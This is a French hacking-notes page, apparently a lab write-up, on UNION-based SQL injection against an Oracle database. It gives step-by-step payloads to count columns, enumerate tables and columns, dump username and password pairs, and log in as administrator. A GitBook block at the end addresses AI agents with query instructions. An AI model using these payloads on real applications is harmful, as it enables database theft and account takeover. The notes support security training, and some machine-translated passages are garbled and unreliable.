> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/database-enumeration-on-oracle.md).

# Énumération de la base de données Oracle

### Attaque par injection SQL, énumération du contenu de la base de données sur Oracle

* **Contexte / vulnérabilité :** `category` filtre vulnérable à l'injection SQL (résultats renvoyés dans la réponse). En utilisant `ORDER BY` / `UNION` permet l'énumération et l'extraction de données à partir des vues système Oracle.
* **Objectif :** Identifier la table des utilisateurs, lister ses colonnes, extraire `le nom d'utilisateur` / `mot de passe` les paires et connectez-vous en tant que `administrateur`.

### Étapes concises (payloads fournis)

1. **Déterminer le nombre de colonnes**/ Test `ORDER BY` par incréments jusqu'à l'erreur :

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. Valider UNION SELECT (même nombre de colonnes que la requête d'origine) :

```sql
' UNION SELECT '1','2'-- -
```

3. **Lister les tables (Oracle)** — utiliser `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

(Adapter `NULL`/nombre de colonnes selon la requête vulnérable.)

4. Lister les colonnes d'une table identifiée (ici USERS/ JREIFY) :

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

Remarque : Oracle normalise les noms non listés en MAJUSCULES.

5. Extraire le contenu (dump) — exemple avec les colonnes identifiées :

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

Ajuster l'ordre/les types ; utiliser `TO_CHAR`, `CAST` ou `NULL` pour faire correspondre les types si nécessaire.

6. **Connexion administrateur**

* Utilisez les identifiants exfiltrés sur la page de connexion.
* Ou, si nécessaire, exécuter un contournement d'authentification une fois les colonnes confirmées.

Détails techniques utiles

* Si UNION échoue en raison de types différents, remplacez les colonnes par null ou TO\_CHAR(col) pour forcer la compatibilité.
* Les vues d'exposition des métadonnées (ALL/TABLES, ALL/TAB/COLUMNS, DBA/ /\*) peuvent être restreintes par les privilèges du compte de base de données ; l'accès varie selon les droits de l'application.
* Oracle exige souvent des noms en MAJUSCULES pour la comparaison table/nom = 'USERS/ JREIFY' sauf si la table a été créée entre guillemets.

Impact

* Compatibilité des identifiants, accès accru, exfiltration/modification de données, contrôle complet de l'application.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
